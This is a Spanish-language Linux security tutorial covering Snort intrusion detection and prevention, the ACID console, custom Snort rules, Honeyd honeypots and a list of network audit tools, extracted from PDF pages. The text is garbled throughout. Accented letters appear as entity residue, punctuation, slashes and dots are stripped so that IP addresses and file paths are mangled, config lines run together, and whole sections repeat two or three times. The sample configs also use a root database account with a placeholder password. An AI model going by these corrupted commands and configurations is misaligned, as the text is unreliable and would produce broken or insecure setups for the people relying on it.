Nota Tanto el firewall como Snort y el servidor web estaacuten conectados entre si el servidor apache accesible desde el exterior estaacute situado en la DMZ

Ahora Snort (con el parche inlineIPS aplicado) actuacutea como firewall-routerIPS estando como Gateway

httpsnort-inlinesourceforgenet (configure - -enable-inline)

Una vez detectado traacutefico hostil fruto de un ataque el traacutefico futuro del host atacante seraacute bloqueado

Kernel hacks y seguridad JMP

Para terminar se muestra otro ejemplo con el plugin SnortSAM en el que cuando un ataque se detecta se pide al router el bloqueo del traacutefico entrante del host origen del ataque Si el host antes de ser bloqueado abre una puerta trasera con otro host bajo su control esto puede suponer un riesgo para la seguridad de la red

httpwwwsnortsamnet

5- Usando ACID + SNORT

Con ACID pretendemos encontrar un mecanismo de control y uso centralizado de SNORT simplificado accesible viacutea web

Kernel hacks y seguridad JMP

La instalacioacuten de Snort con ACID (Analysis Console for Intrusion Detection) pasa por una serie de requisitos y dependencias podemos echar un vistazo al sitio web de ACID para descargar el software y documentacioacuten

httpacidlabsourceforgenet

La versioacuten maacutes reciente de ACID es ahora 096_beta23 (seguacuten Portage en mi distribucioacuten no he mirado el CVS) se recomienda tener precauciones respecto a las posibles vulnerabilidades en el coacutedigo de la aplicacioacuten que puedan ir surgiendo mientras el software adquiere un mayor nivel de maduracioacuten en el desarrollo

Luego necesitaremos a ser posible

Apache soporte GD OpenSSL MySQL

PHP soporte GD OpenSSL MySQL

MySQL

ACID soporte adodb jpgraph phplot GD

Y claro esta Snort con soporte para MySQL

Procederemos a instalar los paquetes y configurar una nueva bases de datos para Snort en MySQL usando para ello la estructura que se nos facilita en los paquetes para la instalacioacuten para crear las tablas en la base de datos Tambieacuten daremos de alta un usuario en MySQL con los privilegios estrictamente necesarios

Ejemplo

$ mysql -u root -p

mysql gt CREATE DATABASE snort

mysql gt GRANT ALL ON snort to rootlocalhost identified by password

$ mysql -u root -p pass lt usrsrcsnort-xxschemascreate_mysql_snort

Necesitaremos descargar los paquetes y descomprimirlos bajo el Document Root de nuestro servidor WEB (Apache) varwwwhtdocs por ejemplo Por tanto es importante respetar el orden en la instalacioacuten de las dependencias

Lo siguiente muestra alguna de la informacioacuten que hay que editar del fichero ldquoacid_confphprdquo para que todo funcione correctamente con la base de datos MySQL Una vez instalado bastaraacute con visualizar la consola ACID desde nuestro navegador apuntando a la URL donde hemos instalado todo por ejemplo http127001acid

Alert DB connection parameters

Kernel hacks y seguridad JMP

- $alert_dbname MySQL database name of Snort alert DB

- $alert_host host on which the DB is stored

- $alert_port port on which to access the DB

- $alert_user login to the database with this user

- $alert_password password of the DB user

This information can be gleaned from the Snort database

output plugin configuration

$alert_dbname = snort_log

$alert_host = localhost

$alert_port =

$alert_user = root

$alert_password = mypassword

Archive DB connection parameters

$archive_dbname = snort_archive

$archive_host = localhost

$archive_port =

$archive_user = root

$archive_password = mypassword

Esquema baacutesico de la base de datos de ACID y su funcionamiento con Snort

Kernel hacks y seguridad JMP

Creacioacuten de reglas propias para Snort

Podemos separar las reglas en grandes bloques accioacuten+cabecera y opciones

CABECERA

Accioacuten de la regla alert

Protocolo tcp udp

Direccion IP origen $EXTERNAL_NET

Puerto IP origen any

Direccion IP destino $HOME_NET

Puerto IP destino any

Direccioacuten de la operacioacuten -gt (puede ser -gt lt- ltgt)

OPCIONES

Mensaje ldquohola directivardquo

Opciones flags Aack 0 reference

Ej drop tcp any any -gt any 22 (classtypeattempted-user msgrdquoIntento de conectar al puerto SSHrdquo)

El coacutedigo anterior haraacute que las conexiones al puerto 22 sean logueadas y bloqueadas una vez antildeadida la regla dentro de las directivas de Snort

Para documentacioacuten detallada y actualizada sobre las reglas de Snort y lo referente a las opciones se recomienda visitar el sitio oficial de Snort en Internet wwwsnortorg

Conclusiones

Debido a que un cortafuegos no es una medida realmente segura para proteger nuestra red se hace necesario detectar aquellos ataques que se realizan con eacutexito contra nuestros sistemas Los sistemas de deteccioacuten y de prevencioacuten de intrusiones ndash Snort en el caso que nos ocupa ndash junto con poliacuteticas de seguridad adicionales como SELinux y GRSecurity nos brindan un nivel de seguridad mucho mayor asiacute como la capacidad de estudiar posibles ataques para poder evitarlos en un futuro

Una vez maacutes la soluciones opensource estaacuten muy por encima en calidadprecio con respecto a otras alternativas comerciales

Kernel hacks y seguridad JMP

Honeypots

Una de las teacutecnicas maacutes habituales para proteger nuestras redes y aprender de nuestros atacantes es usar sistemas abiertos con el fin de atraer (o distraer) la atencioacuten de nuestros posibles intrusos

Los honeypots son simplemente eso sentildeuelos que nos permiten mantener la red un poco maacutes protegida mientras estos sistemas son comprometidos y controlados a voluntad por el administrador del sistema

Aunque existen muchas soluciones para implementar honeypots en este trabajo se trataraacute principalmente con ldquoHoneydrdquo

Kernel hacks y seguridad JMP

1- Preparando el entorno de trabajo

Lo primero que habraacute que hacer es obtener una copia de ldquoHoneydrdquo y opcionalmente ldquoArpdrdquo compilarlas e instalarlas en el sistema que pretende hacer de sentildeuelo estaacute claro que no hay que instalarlo en un equipo en produccioacuten P

net-analyzerhoneyd Latest version available 10-r1 Latest version installed 10-r1

Size of downloaded files 2566 kB Homepage httpwwwcitiumicheduuprovoshoneyd Description Honeyd is a small daemon that creates virtual hosts on a network License GPL-2

De las siguientes direcciones nos interesa ademaacutes toda la documentacioacuten que podamos encontrar al respecto

httpwwwhoneydorg

httpwwwcitiumicheduuprovoshoneyd

Debemos editar el fichero de configuracioacuten para establecer nuestras preferencias como sea necesario y arrancar el servicio honeyd

Config file for etcinitdhoneyd

Set Network addressHONEYD_NET=10001

HONEYD_IF=lo

HONEYD_LOG=varloghoneydlog

Set to 1 to enable (gt=honeyd-10)HONEYD_HTTPD=0HONEYD_HTTPD_PORT=80HONEYD_HTTPD_ROOT=usrsharehoneydwebserverhtdocs

Kernel hacks y seguridad JMP

Set preferred options here HONEYD_OPTS=-f etchoneydconf -p usrsharehoneydnmapprints

-x usrsharehoneydxprobe2conf -a usrsharehoneydnmapassoc

Otras alternativas a honeyd podriacutean ser sistemas como VMWare User Mode Linux etc

Un interesante ldquopaperrdquo es el de Lance Spitzner disponible en

httpwwwtracking-hackerscompapershoneypotshtml (9 May 2003)

2- Creando sistemas virtuales

Para crear los sistemas virtuales debemos editar el contenido de ldquousrsharehoneydrdquo en mi caso para conseguir nuestro objetivo de simulacioacuten por ejemplo tenemos el fichero ldquoconfigrdquo concretamente configsample que es un ejemplo de configuracioacuten lo probamos copiando honeydconf dentro de etc (en mi caso particular)

Su contenido se muestra a continuacioacuten

route entry 10001 route 10001 link 1020024 route 10001 add net 1030016 10301 latency 8ms bandwidth 10Mbps route 10301 link 1030024 route 10301 add net 1031024 10311 latency 7ms loss 05 route 10311 link 1031024

Example of a simple host template and its binding create template set template personality Microsoft Windows XP Professional SP1 set template uptime 1728650 set template maxfds 35 add template tcp port 80 scriptsiis5netmainpl add template tcp port 22 sh scriptstestsh $ipsrc $dport add template tcp port 23 proxy $ipsrc23 add template udp port 53 proxy 1412119214153 set template default tcp action reset

create default set default default tcp action block set default default udp action block set default default icmp action block

create router

Kernel hacks y seguridad JMP

set router personality Cisco 1601R router running IOS 121(5)set router default tcp action resetadd router tcp port 22 scriptstestshadd router tcp port 23 scriptsrouter-telnetpl

bind 10301 routerbind 10311 routerbind 103112 templatebind 103111 templatebind 103110 templateset 103111 personality Microsoft Windows NT 40 SP3set 103110 personality IBM AIX 42

De igual forma podemos editar el resto de ficheros de intereacutes para modificar lo que queramos no obstante cubrir todas las posibilidades va maacutes allaacute de lo que se persigue en este trabajo La documentacioacuten on-line puede solucionar cualquier duda al respecto

Para probar el sistema podemos usar herramientas de analisis y escaneo de puertos como Nmap ping hping traceroute etc

3- Otros usos

Podemos usar tambieacuten los honeypots para automatizar tareas por ejemplo para limpiar gusanos que han infectado nuestra red imitando el proceso de infeccioacuten pero haciendo que el honeypot lleve a cabo el envio de un programa que limpie el gusano en lugar de propagarlo ejecutando su payload Es solo una idea de todo lo que podemos hacer con un honeypot

Listado de programas yo utilidades para el anaacutelisis de redes y auditorias

acid hping netcat6 sec aimsniff httping netdiscover sflowtool amap hunt nethogs sguil-client angst hydra neti sguil-sensor argus hyperic-hq-agent netio sguil-server arping ibmonitor netleds_applet siphon arpoison ifmetric netperf slurm arp-sk ifstat netselect sniffit arpwatch iftop net-snmp snmpmon authforce ike-scan netspeed_applet snmptt barnyard ipac-ng nettop snort bigeye ipaudit netwag snortalog bing ipcad netwatch snortsam bmon iplog netwox sonar braa ippl ngrep squid-graph bwm-ng iptraf nikto squidsites bwmon iptstate nload ssldump cacti isic nmap sussen cacti-cactid jnettop nmbscan tcpdump calamaris knetscan nomad tcpflow chaosreader knocker ns tcpick cheops-ng labrea nsat tcpreen cnet lft nstats tcpreplay cryptcat libnasl ntop tcpslice cutter linkchecker nttcp tcpstat darkstat macchanger oinkmaster tcptrace

Kernel hacks y seguridad JMP

dnstracer mbrowse p0f tcptraceroute driftnet metadataxml packit tcptrack dsniff metasploit paketto thcrut echoping midas-nms pinger thrulay egressor mirmon pktstat tleds etherape mping pmacct tptest ethereal mrtg poink traceproto ethloop mtr portmon traceroute ethstatus mwcollect portsentry traceroute-nanog ettercap nagios postal trafd fail2ban nagios-core prelude-nagios traffic-vis ffp nagios-imagepack prelude-nessus trafshow firewalk nagios-nrpe prelude-nids ttcp FlowScan nagios-nsca prewikka ttt flow-tools nagios-plugins quidscor upnpscan fping nam rain vnstat fprobe nast rrdtool xnetload fragroute nb rtg xprobe ftester nbaudit sancp xtraceroute fwlogwatch nbtscan sara zabbix-agent gensink nepenthes sarg zabbix-frontend gnome-netstatus nessus sbd zabbix-server gnome-nettool nessus-core scanlogd zodiac gnu-netcat nessus-libraries scanssh gspoof nessus-plugins scapy honeyd netcat scli

Conclusiones

Con los honeypots ya tenemos un punto maacutes que sumar a nuestra seguridad en la red no obstante hay que decir que el mal uso y configuracioacuten del mismo puede provocar tambieacuten alguacuten problema si no se tiene cuidado por lo que el administrador debe ser cauto

ldquoLa puerta mejor cerrada es la que se puede dejar abiertardquo

Trabajo realizado y distribuido a la comunidad por Jose Miguel Porcel G

Kernel hacks y seguridad JMP

BIBLIOGRAFIacuteA Y RECURSOS EN INTERNET

kernel hacks

Programacioacuten ldquoLinux 20rdquo API de sistema y funcionamiento del nuacutecleo Reacutemy Card Eric Dumas Franck Meacutevel editorial ldquoEyrollesrdquo

Coacutedigo fuente de ldquoAdore-ngrdquo

Material de las conferencias del ldquoHackandalusrdquo hackmeeting

HowTo de wwwtldporg sobre ldquoLoadable Kernel Modulesrdquo

Kernelnewbies httpeskernelnewbiesorg

Internet Relay Chat en ircfreenodenet

Artiacuteculo ldquoRootkits The r00t of Digital Evilrdquo

httpwwwomninerdcom20051122articles43

Phrack ldquoHiding Out Under Unixrdquo

Documento PDF DIMVA 2004 DFN-CERT por Andreas Bunten

Documento PDF ldquoRootkit Attacker undercover toolsrdquo por Saliman Manap

Presentacioacuten ldquoUtilizacioacuten de una funcioacuten del sistema operativo por un usuariordquo de SCandela (Universidad de las Palmas de Gran Canaria)

Documentacioacuten del sistema operativo Gentoo y Debian ldquoPotatordquo asiacute como el coacutedigo fuente del Kernel tanto 22 como 24 y 26 wwwkernelorg

Anaacutelisis del rootkit ldquoT0rnrdquo httpwwwsansorgy2kt0rnhtm

Snort NIDS

Documentacioacuten y coacutedigo del sitio web oficial de Snort (wwwsnortorg) y ACID

OReilly ldquoManaging Security with Snort and IDS Toolsrdquo de Kerry JCox y Christopher Gerg Agosto 2004

Artiacuteculo httplinucaorgbodyphtmlnIdNoticia=13 ldquosnort+mysql+acidrdquo

Honeyd

Documentacioacuten del propio programa y web oficial (honeydorg)

Kernel hacks y seguridad JMP

Page 36: Kernel, Hacks y Seguridad en Linux - Rootkits, IDS y Honeypots

Kernel hacks y seguridad JMP

preprocessor frag3_global max_frags 65536 preprocessor frag3_engine policy first detect_anomalies

Stateful-inspection y Stream Reassembly si queremos detectar ataques de escaneo de puertos ocultos tiacutepicamente Syn-Stealth o de cualquier otro tipo asiacute como otros ataques baacutesicos esta es la seccioacuten a modificar Por ejemplo

preprocessor stream4 detect_scans

preprocessor stream4_reassemble

Performance Statistics tal y como dice el fichero aquiacute hay MUCHAS posibilidades que no se van a tratar aquiacute asiacute que lo mejor seraacute mirar el propio manual y documentacioacuten de Snort al respecto Lo dejaremos con los valores por defecto recomendados

A continuacioacuten hay algunas directivas sobre la inspeccioacuten de traacutefico de Back Oriffice (troyano miacutetico del grupo Cult Of Dead Cow) traacutefico RPC posible ARP spoof traacutefico Telnet etc A configurar a gusto del consumidor o bien dejamos los valores por defecto

Paso 3

Aquiacute podemos indicar cosas referentes al formato de salida de logs y demaacutes por ejemplo en el formato de ldquotcpdumprdquo en una base de datos (MySQL) salida por el Syslog de sistema

Paso 4

Aquiacute podemos leer el manual para obtener informacioacuten detallada de las posibilidades para personalizar un poco maacutes el funcionamiento de Snort es un tema que no vamos a cubrir ahora por lo que podemos dejara los valores por defecto recomendados

Paso 5

Ahora podemos antildeadir nuestras propias reglas para la deteccioacuten de actividad sospechosa u ataques a nuestra red Este tema lo tratamos a continuacioacuten por separado podemos obtener reglas pre-configuradas de Internet aparte de las que el mismo Snort trae consigo

3- Descargando nuevas reglas desde Internet

Gracias al esfuerzo de la comunidad por mantener las cosas en orden y seguras podemos ir actualizando nuestro set de reglas o descargar nuevas funcionalidades la primera web recomendada (aunque no la uacutenica al respecto) y a la que me voy a limitar es

httpwwwsnortorgrules

yo

Kernel hacks y seguridad JMP

httpwwwsnortorgpub-bindownloadscgi

Nos basta con descomprimir las reglas y ajustar la configuracioacuten de snortconf como sea necesario para apuntar a los ficheros de reglas que queremos habilitar

Por supuesto podemos crear nuestras propias reglas para saber como hacerlo es mejor - una vez maacutes ndash mirar la documentacioacuten actualizada de Snort al respecto

4- Prevencioacuten de intrusiones

Aquiacute se muestra Snort actuando como interceptor de sesiones se trata de examinar las sesiones establecidas por un atacante y sus intentos si algo resulta hostil se envia un paquete RST para terminar la conexioacuten de inmediato En el ejemplo tras el intento de atacar el servidor apache se da por terminada la sesioacuten expliacutecitamente gracias a Snort

Nota Tanto el firewall como Snort y el servidor web estaacuten conectados entre si el servidor apache accesible desde el exterior estaacute situado en la DMZ

Ahora Snort (con el parche inlineIPS aplicado) actuacutea como firewall-routerIPS estando como Gateway

httpsnort-inlinesourceforgenet (configure - -enable-inline)

Una vez detectado traacutefico hostil fruto de un ataque el traacutefico futuro del host atacante seraacute bloqueado

Kernel hacks y seguridad JMP

Para terminar se muestra otro ejemplo con el plugin SnortSAM en el que cuando un ataque se detecta se pide al router el bloqueo del traacutefico entrante del host origen del ataque Si el host antes de ser bloqueado abre una puerta trasera con otro host bajo su control esto puede suponer un riesgo para la seguridad de la red

httpwwwsnortsamnet

5- Usando ACID + SNORT

Con ACID pretendemos encontrar un mecanismo de control y uso centralizado de SNORT simplificado accesible viacutea web

Kernel hacks y seguridad JMP

La instalacioacuten de Snort con ACID (Analysis Console for Intrusion Detection) pasa por una serie de requisitos y dependencias podemos echar un vistazo al sitio web de ACID para descargar el software y documentacioacuten

httpacidlabsourceforgenet

La versioacuten maacutes reciente de ACID es ahora 096_beta23 (seguacuten Portage en mi distribucioacuten no he mirado el CVS) se recomienda tener precauciones respecto a las posibles vulnerabilidades en el coacutedigo de la aplicacioacuten que puedan ir surgiendo mientras el software adquiere un mayor nivel de maduracioacuten en el desarrollo

Luego necesitaremos a ser posible

Apache soporte GD OpenSSL MySQL

PHP soporte GD OpenSSL MySQL

MySQL

ACID soporte adodb jpgraph phplot GD

Y claro esta Snort con soporte para MySQL

Procederemos a instalar los paquetes y configurar una nueva bases de datos para Snort en MySQL usando para ello la estructura que se nos facilita en los paquetes para la instalacioacuten para crear las tablas en la base de datos Tambieacuten daremos de alta un usuario en MySQL con los privilegios estrictamente necesarios

Ejemplo

$ mysql -u root -p

mysql gt CREATE DATABASE snort

mysql gt GRANT ALL ON snort to rootlocalhost identified by password

$ mysql -u root -p pass lt usrsrcsnort-xxschemascreate_mysql_snort

Necesitaremos descargar los paquetes y descomprimirlos bajo el Document Root de nuestro servidor WEB (Apache) varwwwhtdocs por ejemplo Por tanto es importante respetar el orden en la instalacioacuten de las dependencias

Lo siguiente muestra alguna de la informacioacuten que hay que editar del fichero ldquoacid_confphprdquo para que todo funcione correctamente con la base de datos MySQL Una vez instalado bastaraacute con visualizar la consola ACID desde nuestro navegador apuntando a la URL donde hemos instalado todo por ejemplo http127001acid

Alert DB connection parameters

Kernel hacks y seguridad JMP

- $alert_dbname MySQL database name of Snort alert DB

- $alert_host host on which the DB is stored

- $alert_port port on which to access the DB

- $alert_user login to the database with this user

- $alert_password password of the DB user

This information can be gleaned from the Snort database

output plugin configuration

$alert_dbname = snort_log

$alert_host = localhost

$alert_port =

$alert_user = root

$alert_password = mypassword

Archive DB connection parameters

$archive_dbname = snort_archive

$archive_host = localhost

$archive_port =

$archive_user = root

$archive_password = mypassword

Esquema baacutesico de la base de datos de ACID y su funcionamiento con Snort

Kernel hacks y seguridad JMP

Creacioacuten de reglas propias para Snort

Podemos separar las reglas en grandes bloques accioacuten+cabecera y opciones

CABECERA

Accioacuten de la regla alert

Protocolo tcp udp

Direccion IP origen $EXTERNAL_NET

Puerto IP origen any

Direccion IP destino $HOME_NET

Puerto IP destino any

Direccioacuten de la operacioacuten -gt (puede ser -gt lt- ltgt)

OPCIONES

Mensaje ldquohola directivardquo

Opciones flags Aack 0 reference

Ej drop tcp any any -gt any 22 (classtypeattempted-user msgrdquoIntento de conectar al puerto SSHrdquo)

El coacutedigo anterior haraacute que las conexiones al puerto 22 sean logueadas y bloqueadas una vez antildeadida la regla dentro de las directivas de Snort

Para documentacioacuten detallada y actualizada sobre las reglas de Snort y lo referente a las opciones se recomienda visitar el sitio oficial de Snort en Internet wwwsnortorg

Conclusiones

Debido a que un cortafuegos no es una medida realmente segura para proteger nuestra red se hace necesario detectar aquellos ataques que se realizan con eacutexito contra nuestros sistemas Los sistemas de deteccioacuten y de prevencioacuten de intrusiones ndash Snort en el caso que nos ocupa ndash junto con poliacuteticas de seguridad adicionales como SELinux y GRSecurity nos brindan un nivel de seguridad mucho mayor asiacute como la capacidad de estudiar posibles ataques para poder evitarlos en un futuro

Una vez maacutes la soluciones opensource estaacuten muy por encima en calidadprecio con respecto a otras alternativas comerciales

Kernel hacks y seguridad JMP

Honeypots

Una de las teacutecnicas maacutes habituales para proteger nuestras redes y aprender de nuestros atacantes es usar sistemas abiertos con el fin de atraer (o distraer) la atencioacuten de nuestros posibles intrusos

Los honeypots son simplemente eso sentildeuelos que nos permiten mantener la red un poco maacutes protegida mientras estos sistemas son comprometidos y controlados a voluntad por el administrador del sistema

Aunque existen muchas soluciones para implementar honeypots en este trabajo se trataraacute principalmente con ldquoHoneydrdquo

Kernel hacks y seguridad JMP

1- Preparando el entorno de trabajo

Lo primero que habraacute que hacer es obtener una copia de ldquoHoneydrdquo y opcionalmente ldquoArpdrdquo compilarlas e instalarlas en el sistema que pretende hacer de sentildeuelo estaacute claro que no hay que instalarlo en un equipo en produccioacuten P

net-analyzerhoneyd Latest version available 10-r1 Latest version installed 10-r1

Size of downloaded files 2566 kB Homepage httpwwwcitiumicheduuprovoshoneyd Description Honeyd is a small daemon that creates virtual hosts on a network License GPL-2

De las siguientes direcciones nos interesa ademaacutes toda la documentacioacuten que podamos encontrar al respecto

httpwwwhoneydorg

httpwwwcitiumicheduuprovoshoneyd

Debemos editar el fichero de configuracioacuten para establecer nuestras preferencias como sea necesario y arrancar el servicio honeyd

Config file for etcinitdhoneyd

Set Network addressHONEYD_NET=10001

HONEYD_IF=lo

HONEYD_LOG=varloghoneydlog

Set to 1 to enable (gt=honeyd-10)HONEYD_HTTPD=0HONEYD_HTTPD_PORT=80HONEYD_HTTPD_ROOT=usrsharehoneydwebserverhtdocs

Kernel hacks y seguridad JMP

Set preferred options here HONEYD_OPTS=-f etchoneydconf -p usrsharehoneydnmapprints

-x usrsharehoneydxprobe2conf -a usrsharehoneydnmapassoc

Otras alternativas a honeyd podriacutean ser sistemas como VMWare User Mode Linux etc

Un interesante ldquopaperrdquo es el de Lance Spitzner disponible en

httpwwwtracking-hackerscompapershoneypotshtml (9 May 2003)

2- Creando sistemas virtuales

Para crear los sistemas virtuales debemos editar el contenido de ldquousrsharehoneydrdquo en mi caso para conseguir nuestro objetivo de simulacioacuten por ejemplo tenemos el fichero ldquoconfigrdquo concretamente configsample que es un ejemplo de configuracioacuten lo probamos copiando honeydconf dentro de etc (en mi caso particular)

Su contenido se muestra a continuacioacuten

route entry 10001 route 10001 link 1020024 route 10001 add net 1030016 10301 latency 8ms bandwidth 10Mbps route 10301 link 1030024 route 10301 add net 1031024 10311 latency 7ms loss 05 route 10311 link 1031024

Example of a simple host template and its binding create template set template personality Microsoft Windows XP Professional SP1 set template uptime 1728650 set template maxfds 35 add template tcp port 80 scriptsiis5netmainpl add template tcp port 22 sh scriptstestsh $ipsrc $dport add template tcp port 23 proxy $ipsrc23 add template udp port 53 proxy 1412119214153 set template default tcp action reset

create default set default default tcp action block set default default udp action block set default default icmp action block

create router

Kernel hacks y seguridad JMP

set router personality Cisco 1601R router running IOS 121(5)set router default tcp action resetadd router tcp port 22 scriptstestshadd router tcp port 23 scriptsrouter-telnetpl

bind 10301 routerbind 10311 routerbind 103112 templatebind 103111 templatebind 103110 templateset 103111 personality Microsoft Windows NT 40 SP3set 103110 personality IBM AIX 42

De igual forma podemos editar el resto de ficheros de intereacutes para modificar lo que queramos no obstante cubrir todas las posibilidades va maacutes allaacute de lo que se persigue en este trabajo La documentacioacuten on-line puede solucionar cualquier duda al respecto

Para probar el sistema podemos usar herramientas de analisis y escaneo de puertos como Nmap ping hping traceroute etc

3- Otros usos

Podemos usar tambieacuten los honeypots para automatizar tareas por ejemplo para limpiar gusanos que han infectado nuestra red imitando el proceso de infeccioacuten pero haciendo que el honeypot lleve a cabo el envio de un programa que limpie el gusano en lugar de propagarlo ejecutando su payload Es solo una idea de todo lo que podemos hacer con un honeypot

Listado de programas yo utilidades para el anaacutelisis de redes y auditorias

acid hping netcat6 sec aimsniff httping netdiscover sflowtool amap hunt nethogs sguil-client angst hydra neti sguil-sensor argus hyperic-hq-agent netio sguil-server arping ibmonitor netleds_applet siphon arpoison ifmetric netperf slurm arp-sk ifstat netselect sniffit arpwatch iftop net-snmp snmpmon authforce ike-scan netspeed_applet snmptt barnyard ipac-ng nettop snort bigeye ipaudit netwag snortalog bing ipcad netwatch snortsam bmon iplog netwox sonar braa ippl ngrep squid-graph bwm-ng iptraf nikto squidsites bwmon iptstate nload ssldump cacti isic nmap sussen cacti-cactid jnettop nmbscan tcpdump calamaris knetscan nomad tcpflow chaosreader knocker ns tcpick cheops-ng labrea nsat tcpreen cnet lft nstats tcpreplay cryptcat libnasl ntop tcpslice cutter linkchecker nttcp tcpstat darkstat macchanger oinkmaster tcptrace

Kernel hacks y seguridad JMP

dnstracer mbrowse p0f tcptraceroute driftnet metadataxml packit tcptrack dsniff metasploit paketto thcrut echoping midas-nms pinger thrulay egressor mirmon pktstat tleds etherape mping pmacct tptest ethereal mrtg poink traceproto ethloop mtr portmon traceroute ethstatus mwcollect portsentry traceroute-nanog ettercap nagios postal trafd fail2ban nagios-core prelude-nagios traffic-vis ffp nagios-imagepack prelude-nessus trafshow firewalk nagios-nrpe prelude-nids ttcp FlowScan nagios-nsca prewikka ttt flow-tools nagios-plugins quidscor upnpscan fping nam rain vnstat fprobe nast rrdtool xnetload fragroute nb rtg xprobe ftester nbaudit sancp xtraceroute fwlogwatch nbtscan sara zabbix-agent gensink nepenthes sarg zabbix-frontend gnome-netstatus nessus sbd zabbix-server gnome-nettool nessus-core scanlogd zodiac gnu-netcat nessus-libraries scanssh gspoof nessus-plugins scapy honeyd netcat scli

Conclusiones

Con los honeypots ya tenemos un punto maacutes que sumar a nuestra seguridad en la red no obstante hay que decir que el mal uso y configuracioacuten del mismo puede provocar tambieacuten alguacuten problema si no se tiene cuidado por lo que el administrador debe ser cauto

ldquoLa puerta mejor cerrada es la que se puede dejar abiertardquo

Trabajo realizado y distribuido a la comunidad por Jose Miguel Porcel G

Kernel hacks y seguridad JMP

BIBLIOGRAFIacuteA Y RECURSOS EN INTERNET

kernel hacks

Programacioacuten ldquoLinux 20rdquo API de sistema y funcionamiento del nuacutecleo Reacutemy Card Eric Dumas Franck Meacutevel editorial ldquoEyrollesrdquo

Coacutedigo fuente de ldquoAdore-ngrdquo

Material de las conferencias del ldquoHackandalusrdquo hackmeeting

HowTo de wwwtldporg sobre ldquoLoadable Kernel Modulesrdquo

Kernelnewbies httpeskernelnewbiesorg

Internet Relay Chat en ircfreenodenet

Artiacuteculo ldquoRootkits The r00t of Digital Evilrdquo

httpwwwomninerdcom20051122articles43

Phrack ldquoHiding Out Under Unixrdquo

Documento PDF DIMVA 2004 DFN-CERT por Andreas Bunten

Documento PDF ldquoRootkit Attacker undercover toolsrdquo por Saliman Manap

Presentacioacuten ldquoUtilizacioacuten de una funcioacuten del sistema operativo por un usuariordquo de SCandela (Universidad de las Palmas de Gran Canaria)

Documentacioacuten del sistema operativo Gentoo y Debian ldquoPotatordquo asiacute como el coacutedigo fuente del Kernel tanto 22 como 24 y 26 wwwkernelorg

Anaacutelisis del rootkit ldquoT0rnrdquo httpwwwsansorgy2kt0rnhtm

Snort NIDS

Documentacioacuten y coacutedigo del sitio web oficial de Snort (wwwsnortorg) y ACID

OReilly ldquoManaging Security with Snort and IDS Toolsrdquo de Kerry JCox y Christopher Gerg Agosto 2004

Artiacuteculo httplinucaorgbodyphtmlnIdNoticia=13 ldquosnort+mysql+acidrdquo

Honeyd

Documentacioacuten del propio programa y web oficial (honeydorg)

Kernel hacks y seguridad JMP

Page 37: Kernel, Hacks y Seguridad en Linux - Rootkits, IDS y Honeypots

Kernel hacks y seguridad JMP

httpwwwsnortorgpub-bindownloadscgi

Nos basta con descomprimir las reglas y ajustar la configuracioacuten de snortconf como sea necesario para apuntar a los ficheros de reglas que queremos habilitar

Por supuesto podemos crear nuestras propias reglas para saber como hacerlo es mejor - una vez maacutes ndash mirar la documentacioacuten actualizada de Snort al respecto

4- Prevencioacuten de intrusiones

Aquiacute se muestra Snort actuando como interceptor de sesiones se trata de examinar las sesiones establecidas por un atacante y sus intentos si algo resulta hostil se envia un paquete RST para terminar la conexioacuten de inmediato En el ejemplo tras el intento de atacar el servidor apache se da por terminada la sesioacuten expliacutecitamente gracias a Snort

Nota Tanto el firewall como Snort y el servidor web estaacuten conectados entre si el servidor apache accesible desde el exterior estaacute situado en la DMZ

Ahora Snort (con el parche inlineIPS aplicado) actuacutea como firewall-routerIPS estando como Gateway

httpsnort-inlinesourceforgenet (configure - -enable-inline)

Una vez detectado traacutefico hostil fruto de un ataque el traacutefico futuro del host atacante seraacute bloqueado

Kernel hacks y seguridad JMP

Para terminar se muestra otro ejemplo con el plugin SnortSAM en el que cuando un ataque se detecta se pide al router el bloqueo del traacutefico entrante del host origen del ataque Si el host antes de ser bloqueado abre una puerta trasera con otro host bajo su control esto puede suponer un riesgo para la seguridad de la red

httpwwwsnortsamnet

5- Usando ACID + SNORT

Con ACID pretendemos encontrar un mecanismo de control y uso centralizado de SNORT simplificado accesible viacutea web

Kernel hacks y seguridad JMP

La instalacioacuten de Snort con ACID (Analysis Console for Intrusion Detection) pasa por una serie de requisitos y dependencias podemos echar un vistazo al sitio web de ACID para descargar el software y documentacioacuten

httpacidlabsourceforgenet

La versioacuten maacutes reciente de ACID es ahora 096_beta23 (seguacuten Portage en mi distribucioacuten no he mirado el CVS) se recomienda tener precauciones respecto a las posibles vulnerabilidades en el coacutedigo de la aplicacioacuten que puedan ir surgiendo mientras el software adquiere un mayor nivel de maduracioacuten en el desarrollo

Luego necesitaremos a ser posible

Apache soporte GD OpenSSL MySQL

PHP soporte GD OpenSSL MySQL

MySQL

ACID soporte adodb jpgraph phplot GD

Y claro esta Snort con soporte para MySQL

Procederemos a instalar los paquetes y configurar una nueva bases de datos para Snort en MySQL usando para ello la estructura que se nos facilita en los paquetes para la instalacioacuten para crear las tablas en la base de datos Tambieacuten daremos de alta un usuario en MySQL con los privilegios estrictamente necesarios

Ejemplo

$ mysql -u root -p

mysql gt CREATE DATABASE snort

mysql gt GRANT ALL ON snort to rootlocalhost identified by password

$ mysql -u root -p pass lt usrsrcsnort-xxschemascreate_mysql_snort

Necesitaremos descargar los paquetes y descomprimirlos bajo el Document Root de nuestro servidor WEB (Apache) varwwwhtdocs por ejemplo Por tanto es importante respetar el orden en la instalacioacuten de las dependencias

Lo siguiente muestra alguna de la informacioacuten que hay que editar del fichero ldquoacid_confphprdquo para que todo funcione correctamente con la base de datos MySQL Una vez instalado bastaraacute con visualizar la consola ACID desde nuestro navegador apuntando a la URL donde hemos instalado todo por ejemplo http127001acid

Alert DB connection parameters

Kernel hacks y seguridad JMP

- $alert_dbname MySQL database name of Snort alert DB

- $alert_host host on which the DB is stored

- $alert_port port on which to access the DB

- $alert_user login to the database with this user

- $alert_password password of the DB user

This information can be gleaned from the Snort database

output plugin configuration

$alert_dbname = snort_log

$alert_host = localhost

$alert_port =

$alert_user = root

$alert_password = mypassword

Archive DB connection parameters

$archive_dbname = snort_archive

$archive_host = localhost

$archive_port =

$archive_user = root

$archive_password = mypassword

Esquema baacutesico de la base de datos de ACID y su funcionamiento con Snort

Kernel hacks y seguridad JMP

Creacioacuten de reglas propias para Snort

Podemos separar las reglas en grandes bloques accioacuten+cabecera y opciones

CABECERA

Accioacuten de la regla alert

Protocolo tcp udp

Direccion IP origen $EXTERNAL_NET

Puerto IP origen any

Direccion IP destino $HOME_NET

Puerto IP destino any

Direccioacuten de la operacioacuten -gt (puede ser -gt lt- ltgt)

